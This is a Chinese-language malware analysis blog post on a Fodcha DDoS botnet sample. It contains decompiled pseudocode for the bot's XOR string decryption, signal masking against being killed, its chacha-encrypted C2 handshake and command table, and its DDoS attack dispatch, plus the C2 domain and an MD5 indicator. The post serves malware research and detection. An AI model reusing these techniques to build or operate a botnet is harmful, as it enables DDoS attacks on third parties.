fodcha 僵尸网络病毒分析
概述
最近 fodcha 僵尸网络泛滥。fodcha 是最近新发现的快速传播型 DDos 僵尸网络,由于使用 chacha 算法加密网络流量,360 将其命名为 Fodcha[2]。该恶意软件支持多种架构,包括 x86,arm,mips 等。
本文样本来自于 MalwareBazaar (?https://bazaar.abuse.ch/)。
详细分析
使用 file 命令查看样本信息
fodcha.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
静态链接,32 位并且去除符号表
查看 main 函数
int main(int argc,char **argv) { //... if (1 < argc) { FUN_0804d670(); uVar3 = FUN_0804d640(1,&local_15); FUN_08051cee(1,uVar3,local_15); FUN_08051cee(1,&DAT_080541fc,1); iVar4 = FUN_080519ff(); iVar5 = 0; if (iVar4 == 0) { FUN_080519d1(0); FUN_080519d1(1); FUN_080519d1(2); FUN_08052180(local_98); FUN_08052156(local_98,2); FUN_08051c3d(0,local_98,0); FUN_08052199(1,1); FUN_08052199(0xd,1); FUN_08052199(0x11,1); FUN_08052199(0x1d,1); FUN_08052199(0xf,1); FUN_08051c17(); FUN_080519a3("/"); uVar3 = FUN_08050f80(ppcVar2[1]); DAT_08055760 = FUN_08050e90(); FUN_0804fe00(); FUN_0804edb0(ppcVar2,iVar1); FUN_080517e0(); FUN_0804f380(); FUN_0804f7a0(uVar3); iVar5 = 0; } } return iVar5; }
首先判断参数个数,少于 1 个不运行。这种方式可以对抗沙箱。
如果带参数,则首先运行FUN_0804d670
解密字符串
void FUN_0804d670(void){ //... DAT_08055180 = (byte *)FUN_08052a54(0x10,1); DAT_08055184 = 0xf; pbVar4 = &DAT_0805422d; iVar1 = 0; do { bVar2 = *pbVar4; pbVar4 = pbVar4 + 1; DAT_08055180[iVar1] = (s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) + (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[iVar1 % 0x14] ^ bVar2) / 0xff); iVar3 = iVar1 + 1; DAT_08055180[iVar1] = DAT_08055180[iVar1] ^ (byte)DAT_08055028; iVar1 = iVar3; } while (iVar3 != 0xf); iVar1 = 0; do { *DAT_08055180 = *DAT_08055180 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; DAT_08055180[1] = DAT_08055180[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; //... DAT_08055180[0xd] = DAT_08055180[0xd] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1); iVar1 = iVar1 + 1; DAT_08055180[0xe] = DAT_08055180[0xe] ^ *pbVar4; } while (iVar1 != 0x14); pbVar4 = (byte *)FUN_08052a54(0xc,1); DAT_0805518c = 0xb; DAT_08055188 = pbVar4; *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) + (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xe5U) / 0xff); bVar2 = (byte)DAT_08055028; *pbVar4 = *pbVar4 ^ bVar2; pbVar4[1] = (s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) + (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[1] ^ 0xc4U) / 0xff); //... DAT_08055188[10] = DAT_08055188[10] ^ (byte)DAT_08055028; do { *DAT_08055188 = *DAT_08055188 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; DAT_08055188[1] = DAT_08055188[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; //... pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1); iVar1 = iVar1 + 1; DAT_08055188[10] = DAT_08055188[10] ^ *pbVar4; } while (iVar1 != 0x14); pbVar4 = (byte *)FUN_08052a54(7,1); DAT_08055194 = 6; DAT_08055190 = pbVar4; *pbVar4 = (s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) + (char)((int)(char)(s_fJiFNaefsedifsaifsi_0805502c[0] ^ 0xa2U) / 0xff); bVar2 = (byte)DAT_08055028; *pbVar4 = *pbVar4 ^ bVar2; //。。。 iVar1 = 0; do { *DAT_08055190 = *DAT_08055190 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; //。。。 iVar1 = iVar1 + 1; DAT_08055190[5] = DAT_08055190[5] ^ *pbVar4; } while (iVar1 != 0x14); pbVar4 = (byte *)FUN_08052a54(6,1); DAT_0805519c = 5; DAT_08055198 = pbVar4; //... do { *DAT_08055198 = *DAT_08055198 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; //。。。 } while (iVar1 != 0x14); DAT_080551a0 = (byte *)FUN_08052a54(0xf,1); DAT_080551a4 = 0xe; pbVar4 = &DAT_0805423d; iVar1 = 0; //... do { *DAT_080551a0 = *DAT_080551a0 ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; DAT_080551a0[1] = DAT_080551a0[1] ^ s_fJiFNaefsedifsaifsi_0805502c[iVar1]; ///... pbVar4 = (byte *)(s_fJiFNaefsedifsaifsi_0805502c + iVar1); iVar1 = iVar1 + 1; DAT_080551a0[0xd] = DAT_080551a0[0xd] ^ *pbVar4; } while (iVar1 != 0x14); pbVar4 = (byte *)FUN_08052a54(9,1); //... return; }
可以看到这里使用了多重 xor 解密了一些数据,具体数据可以根据调试得到
pwndbg> x/32dx 0x8055180 0x8055180: 0x08056008 0x0000000f 0x08056020 0x0000000b 0x8055190: 0x08056030 0x00000006 0x08056040 0x00000005 0x80551a0: 0x08056050 0x0000000e 0x08056068 0x00000008 0x80551b0: 0x08056078 0x00000005 0x08056088 0x00000004 0x80551c0: 0x08056098 0x00000004 0x080560a8 0x00000008 0x80551d0: 0x080560b8 0x00000003 0x00000000 0x00000000 0x80551e0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80551f0: 0x00000000 0x00000000 0x00000000 0x00000000 pwndbg> x/128s 0x8056008 0x8056008: "fridgexperts.cc" ; 看起来像C2服务器地址 0x805601c: "\021" 0x8056020: "here we are" 0x805602c: "\021" 0x8056030: "/proc/" 0x805603c: "\021" 0x8056040: "/stat" 0x805604c: "\031" 0x8056050: "/proc/self/exe" 0x8056064: "\021" 0x8056068: "/cmdline" 0x8056074: "\021" 0x8056078: "/maps" 0x8056084: "\021" 0x8056088: "/exe" 0x8056094: "\021" 0x8056098: "/lib" 0x80560a4: "\021" 0x80560a8: "/usr/lib" 0x80560b4: "\021" 0x80560b8: ".ri"
可以看到,0x8055180 处存储了 16 个字符串,字符串为一个结构体
struct Str{ char *s; uint32_t len; };
这样就可以分析出 FUN_0804d640 为获取第 n 个 str
char * get_str(int param_1,undefined *param_2){ if (param_2 != (undefined *)0x0) { *param_2 = *(undefined *)&Str_ARRAY_08055180[param_1].len; } return Str_ARRAY_08055180[param_1].s; }
FUN_08051cee 使用了系统调用,查一下 i386 的系统调用表[5],知道这个函数是 write。
即向命令行输出了字符串 here we are
FUN_080519ff 为 sys_fork
FUN_080519d1 为 sys_close,这里关闭了 stdin, stdout, stderr
信号处理
FUN_0805218e 为 memset,FUN_08052180 暂时分析为 clear,但是由于清除的 size 固定,所以应该是特定应用于某个结构体的
先分析 FUN_08051c3d,这里还是有个系统调用,175 对应于sys_rt_sigprocmask,查找 rt_sigprocmask 的原型,可以知道参数类型,从而推断出 FUN_08052156 为 sigaddset。
到这里可以看到,这里屏蔽了 SIGINT 信号,即 Ctrl-C 和普通 kill 命令无法停止程序
后面还有其它信号的处理操作
连接C2服务器
FUN_08051c17为setsid
然后切换到根目录
FUN_08053aeb 为 socketcall。这是 x86-32 架构的 Linux 的唯一socket API[6],原型为
int syscall(SYS_socketcall, int call, unsigned long *args);
具体操作由 call 决定。根据这个函数,就可以通过交叉引用推断出其它一系列函数。call 的定义可以从[3]中查阅。
FUN_08051f48: sys_bind FUN_08051f73: sys_connect FUN_08051f9e: sys_getsockname FUN_08051fc9: sys_getsockname FUN_08052004: sys_recv FUN_08052037: sys_recvfrom FUN_0805207a: sys_send FUN_080520ad: sys_sendto FUN_080520f0: sys_setsockopt FUN_0805212b: sys_socket
这里连接了 8.8.8.8,
undefined4 FUN_08050e90(void) { // 。。。 local_c = 0x10; iVar1 = sys_socket(2,2,0); local_18 = 0; if (iVar1 != -1) { local_18 = 0x8080808; local_1c = 2; local_1a = 0x3500; sys_connect(iVar1,&local_1c,0x10); sys_getsockname(iVar1,&local_1c,&local_c); sys_close(iVar1); } return local_18; }
FUN_0804fe00 获取了时间并生成随机数
void FUN_0804fe00(void) {//... _DAT_08055730 = FUN_08051ae2("/dev/urandom",0); DAT_08055720 = FUN_08051c92(0); // time uVar1 = FUN_08051a25(); // getpid uVar2 = FUN_08051a4b(); // getppid DAT_08055724 = uVar1 ^ uVar2; DAT_08055728 = FUN_08051f0f(); // (tms0.tms_stime + tms0.tms_utime) * 10000 & 0x7fffffff DAT_0805572c = DAT_08055728 ^ DAT_08055724; return; }
即利用 PID、PPID 和时间来生成随机数
FUN_08051d94 关闭了 /dev 的 close_on_exec 标志
这里是连接 C2 的主函数
void FUN_0804f7a0(undefined4 param_1) { //... do { switch(_switch_ctl0) { case 0: FUN_0804f3c0(); break; case 1: local_18 = 4; if ((((*(byte *)((int)fd_set_08055620.fds_bits + ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4) >> (_pub_fd & 7) & 1) == 0) || (iVar2 = sys_getsockopt(_pub_fd,1,4,&local_14,&local_18), iVar2 != 0)) || (local_14 != 0)) { _switch_ctl0 = 0; sys_close(_pub_fd); iVar2 = thunk_FUN_08053365(); FUN_08053472(iVar2 % 5 + 2); if (_switch_ctl0 != 5) break; } else { _switch_ctl0 = 5; } FUN_0804d5c0(&pub_fd); _switch_ctl0 = 2; break; case 2: iVar2 = FUN_0804f4e0(&DAT_080555f4,0x20); if ((iVar2 < 1) || (iVar2 != 0x20)) { LAB_0804faa0: _switch_ctl0 = 0; sys_close(_pub_fd); iVar2 = thunk_FUN_08053365(); FUN_08053472(iVar2 % 5 + 2); } else { _switch_ctl0 = 3; } break; //。。。 } iVar2 = 0x20; p_Var3 = fd_set_080556a0.fds_bits; for (; iVar2 != 0; iVar2 = iVar2 + -1) { *p_Var3 = 0; p_Var3 = p_Var3 + 1; } iVar2 = 0x20; p_Var3 = fd_set_08055620.fds_bits; for (; iVar2 != 0; iVar2 = iVar2 + -1) { *p_Var3 = 0; p_Var3 = p_Var3 + 1; } if (_switch_ctl0 < 2) { pbVar1 = (byte *)((int)fd_set_08055620.fds_bits + ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4); *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7); } else { pbVar1 = (byte *)((int)fd_set_080556a0.fds_bits + ((int)(_pub_fd & 0x1f) >> 3) + (_pub_fd >> 5) * 4); *pbVar1 = *pbVar1 | '\x01' << (_pub_fd & 7); } local_28.tv_usec = 0; local_28.tv_sec = 5; iVar2 = select(_pub_fd + 1,&fd_set_080556a0,&fd_set_08055620,(fd_set *)0x0,&local_28); if ((iVar2 < 1) && ((_switch_ctl0 != 6 || (iVar2 = sys_time(0), _DAT_080555ec + 600 <= iVar2)))) { _switch_ctl0 = 0; sys_close(_pub_fd); iVar2 = thunk_FUN_08053365(); FUN_08053472(iVar2 % 5 + 2); } } while( true ); }
case 0: FUN_0804f3c0 负责连接 C2 服务器,可以看到端口是通过随机种子加伪随机数得到的。
void FUN_0804f3c0(void){//... addr.sa_data._2_4_ = 0; addr.sa_data._6_4_ = 0; addr.sa_data._10_4_ = 0; addr._0_4_ = 2; uVar1 = next_rand_num(); addr._0_4_ = addr._0_4_ & 0xffff | (uint)(ushort)(ports[uVar1 % 10] >> 8 | ports[uVar1 % 10] << 8) << 0x10; uVar2 = get_str(0,0); pbVar3 = (byte *)FUN_08050860(uVar2); if (pbVar3 != (byte *)0x0) { iVar1 = *(int **)(pbVar3 + 4); uVar1 = next_rand_num(); addr.sa_data._2_4_ = iVar1[uVar1 % (uint)*pbVar3]; FUN_08050830(pbVar3); _pub_fd = sys_socket(AF_INET,SOCK_DGRAM,0); sys_fcntl(_pub_fd,4,0x800); connect(_pub_fd,&addr,0x10); _DAT_080555f0 = 1; return; } FUN_08050830(0); return; }
端口如下
ports XREF[1]: FUN_0804f3c0:0804f403(R) 08054414 07 11 99 ushort[10] 20 2a 20 f5 21 1d 08054414 [0] 1107h, 2099h, 202Ah, 21F5h 0805441c [4] 201Dh, AAE1h, 1DE6h, 1C9Ch 08054424 [8] A8DFh, 457h
case 1: 发送了一个 checksum
int __cdecl sub_804D5C0(unsigned int *a1) { //... *(_DWORD *)v2 = 238; v2[4] = 0; *(_WORD *)&v2[3] = checksum(v2, 5); v3 = *(_DWORD *)v2; v4 = v2[4]; send(*a1, (unsigned int)&v3, 5u, 0x4000u); result = 2; a1[260] = 2; return result; }
checksum 的计算方式
for ( i = a2; i > 1; v2 += v5 ) { v5 = *a1; i -= 2; ++a1; } if ( i == 1 ) v2 += *(char *)a1; return (unsigned __int16)~(((unsigned int)((unsigned __int16)v2 + HIWORD(v2)) >> 16) + v2 + HIWORD(v2));
然后 case 2收取一定数量的数据,并发送一些 chacha 加密的数据
case 3:
v4 = recv_some_data((int)&timeout, (int)&unk_8055614, 0xCu); if ( v4 <= 0 || v4 != 12 ) { switch_ctl0 = 0; close(fd); v7 = rand() % 5; ((void (__cdecl *)(int))loc_8053472)(v7 + 2); } switch_ctl0 = 3; chacha_init(v9); chacha(&unk_80555F4, 1, &unk_8055614, v9, v9, 5); send(fd, (unsigned int)v9, 5u, 0x4000u); switch_ctl0 = 4; break;
首先收取一个数据,然后使用 chacha 加密
case 4:
case 4: if ( recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u) != 5 || byte_80555E4 != 85 ) { LABEL_21: switch_ctl0 = 0; close(fd); v5 = rand() % 5; ((void (__cdecl *)(int))loc_8053472)(v5 + 2); } dword_80555EC = sys_time(0); sub_804D450(&fd, a1); switch_ctl0 = 6; break;
首先收取数据,判断数据头和数据长度,再通过sub_804D450发送两个数据
sub_804D450:
v6[6] = v6; v2 = sub_8050D80(a2); *(_DWORD *)v8 = 0; v8[4] = 0; v3 = v2; if ( (_WORD)v2 ) *(_WORD *)&v8[1] = __ROR2__(v2, 8); v8[0] = -2; *(_WORD *)&v8[3] = checksum((unsigned __int16 *)v8, 5u); v9 = *(_DWORD *)v8; v10 = v8[4]; v4 = alloca(v3 + 16); chacha((unsigned __int8 *)(a1 + 1044), 1, (int *)(a1 + 1076), (int)a2, (int)v7, v3); send(*(_DWORD *)a1, (unsigned int)&v9, 5u, 0x4000u); return send(*(_DWORD *)a1, (unsigned int)v7, v3, 0x4000u);
即硬编码的数据,经过 checksum,再经过 chacha 算法加密,然后发送给 C2。
case 6: 只有一个函数 sub_804F640
char __usercall sub_804F640@(int a1@) { //... LOBYTE(v1) = _bittest(&readfds.__fds_bits[(unsigned int)fd >> 5], fd & 0x1F); if ( (_BYTE)v1 ) { v1 = recv(fd, (unsigned int)&byte_80555E4, 5u, 0x4000u); if ( v1 != -1 ) { if ( v1 != 5 ) goto LABEL_5; word_80555E5 = __ROR2__(word_80555E5, 8); v3 = recv_some_data(a1, (int)&unk_80551E4, word_80555E5); if ( word_80555E5 ) { if ( v3 <= 0 ) goto LABEL_5; } chacha(&unk_80555F4, 1, &unk_8055614, &unk_80551E4, &unk_80551E4, v3); if ( byte_80555E4 == -21 ) { LOBYTE(v1) = sub_8048320(&fd, &unk_80551E4); return v1; } if ( byte_80555E4 == -5 ) sub_805340B(1); if ( byte_80555E4 != 105 ) { LABEL_5: switch_ctl0 = 0; close(fd); v2 = rand() % 5; ((void (__cdecl *)(int))loc_8053472)(v2 + 2); } LOBYTE(v1) = sub_804D540(&fd); } } return v1; }
接收一些数据,并且判断接受的数据头是不是 0x69,如果不是就退出。最后 sub_804D540 发送了和时间相关的 checksum。这个可能是心跳包。
沟通顺序为 0->1->2->3->4,最后会循环发送心跳包
case 6 还负责接收命令,命令表格如下
命令含义0x69心跳0xFB退出0xEBDDos攻击
Ddos函数
int __cdecl sub_8048320(int a1, int a2) { //... result = fork(); if ( !result ) { if ( !fork() ) ((void (__cdecl *)(int))loc_8053472)(v20); switch ( atk_type ) { case 0: sub_804BC60(&atk_type); case 2: sub_804A990(&atk_type); break; case 3: sub_8048940(&atk_type); break; case 4: sub_804A2E0(&atk_type); case 5: sub_8049A60(&atk_type); break; case 6: sub_8049E70(&atk_type); break; case 7: sub_804B320(&atk_type); break; case 8: sub_8049560(&atk_type); break; case 9: sub_804AC60(&atk_type); case 10: sub_80485A0(&atk_type); case 11: case 12: sub_804B8B0(&atk_type); case 13: sub_804C010(&atk_type); case 14: sub_804C470(&atk_type); break; case 15: sub_804C880(&atk_type); break; case 16: sub_8048E60(&atk_type); break; case 17: sub_8049180(&atk_type); break; default: break; } ((void (__cdecl *)(int))loc_8053472)(5); } return result; }
会进行不同的攻击。具体攻击类型期待学到更多的 DDos 漏洞知识再探索。
总结
这种静态链接的文件比较难的地方就是各种运行时库,个人觉得突破口就是系统调用以及 Linux 这种开源代码的在线源码阅读器。但是依然会导致分析困难。更好的做法是使用静态链接库签名或二进制比对,可以更高效更准确地识别静态链接库。一般这种 botnet 功能较为简单,但是静态链接导致分析难度加大了。
该 Botnet 利用了多种 DDos 漏洞进行传播,并且使用 Linux 信号机制防止自己被杀死,便于在肉鸡上长久驻留。由于本人能力有限,还有诸多细节未分析到位。待能力成长会再次分析。
IoC
项目md5fodcha.elff1fefc5343680c40940ea1fbf99ab61dc2服务器fridgexperts.cc
参考资料
[1] radare2 book:https://book.rada.re/
[2] CNCERT:关于Fodcha僵尸网络大规模传播的风险提示:https://www.secrss.com/articles/41246
[3] net.h--linux source code:https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/net.h#L27
[4] 新的Fodcha DDoS僵尸网络每天针对100多名受害者--安全客:https://www.anquanke.com/post/id/272059
[5] List of Linux/i386 system calls:http://asm.sourceforge.net/syscall.html
[6] socketcall(2) — Linux manual page:https://man7.org/linux/man-pages/man2/socketcall.2.html
